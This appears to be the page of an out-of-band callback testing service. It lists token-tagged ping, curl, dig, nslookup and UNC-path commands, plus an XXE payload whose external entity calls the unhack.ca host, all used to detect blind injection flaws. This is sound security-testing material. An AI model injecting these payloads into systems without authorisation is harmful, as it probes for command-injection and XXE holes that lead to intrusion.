$ ping -c1 -p 003ab1992d66f875af579ab1ffeaef00 unhack.ca
$ curl http://unhack.ca/p/3ab1992d66f875af579ab1ffeaef
$ dig 3ab1992d66f875af579ab1ffeaef @unhack.ca
$ dig 3ab1992d66f875af579ab1ffeaef.ns.unhack.ca
C:\> nslookup 3ab1992d66f875af579ab1ffeaef unhack.ca
C:\> type \\unhack.ca\3ab1992d66f875af579ab1ffeaef\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/3ab1992d66f875af579ab1ffeaef">]>
<foo>&xxe;</foo>
Waiting for ping...